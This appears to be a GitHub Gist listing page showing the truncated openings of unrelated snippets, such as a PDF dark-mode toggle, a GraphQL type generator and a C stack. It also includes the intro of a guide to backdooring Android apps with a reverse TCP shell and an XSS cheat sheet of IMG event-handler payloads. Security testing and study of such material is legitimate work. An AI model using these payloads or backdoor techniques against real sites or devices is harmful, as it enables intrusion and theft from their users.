Skip to content

Instantly share code, notes, and snippets.

Writing Useless commit messages

Islem Maboud ipenywis

Writing Useless commit messages
View GitHub Profile
sneakyness / togglePDFDarkMode.js
Created May 24, 2020
Chrome/Brave PDF Viewer Dark Mode Toggle
View togglePDFDarkMode.js
// When using in-browser PDF viewer, you can inspect it and run this in the console
// It's using CSS Blending to invert the colors of the PDF
function togglePDFDarkMode() {
var cover = document.createElement("div");
let inversion = `
position: fixed;
pointer-events: none;
top: 0;
left: 0;
width: 100vw;
davidlares /
Last active Sep 9, 2021
Backdooring Android Apps with FatRat and Metasploit Framework

Backdooring Android Apps with FatRat and Metasploit Framework

We have to set a point, mobile applications are a HUGE market today. Many entrepreneurs left behind web-based experiences for building disruptive mobile solutions. The battle of smart-phones remains today between IOs and Android. Both have pros and cons, they are designed and configured with default security settings that maybe not the ideal for non-experienced people.

This writing demonstrates a practical and simple example on how to generate a Reverse TCP back-door on an existing APK file.

This is a pretty common "Social Engineering Attack", and it's focused on generating a reverse TCP connection, where the attacker easily can generate shell access to your Android phone in the time you are using the infected application and do some harmful stuff or access your private information without any concern.

And when a mean “Social Engineering Attacks” is because the way it propagates, I’ll explain in a bit how are the

Mikhus / gqlts.js
Last active Oct 29, 2019
GraphQL schema to TypeScript definitions. Usage: ./gqlts.js /path/to/schema.graphql > /path/to/schema.d.ts
View gqlts.js
#!/usr/bin/env node
* ISC License
* Copyright (c) 2019, Mykhailo Stadnyk <>
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
bmaupin /
Last active Dec 31, 2021
Install Oracle SQL Developer on Ubuntu/Debian
bradtraversy /
Last active Jan 21, 2022
Online Resources For Web Developers (No Downloading)
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
import random
import sys
def print_same_line(text):
kurobeats / xss_vectors.txt
Last active Jan 16, 2022
XSS Vectors Cheat Sheet
View xss_vectors.txt
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
apolloclark / Buffer Overflow Tutorial in
Last active Oct 14, 2021
Buffer overflow demonstration in Kali Linux, based on the Computerphile video
View Buffer Overflow Tutorial in
dominicknguyen / stack.c
Last active Nov 15, 2018
Linked List Stack in C
View stack.c
#include <stdio.h>
Linked list implementation of Stack in C
I'm learning C so it's not that good!
Feel free to leave tips!
gitanuj /
Created May 20, 2015
A FileObserver for Android which monitors all the files/folders in a directory recursively.
import java.util.HashMap;
import java.util.Map;
import java.util.Stack;
import android.os.FileObserver;
* A FileObserver that observes all the files/folders within given directory
* recursively. It automatically starts/stops monitoring new folders/files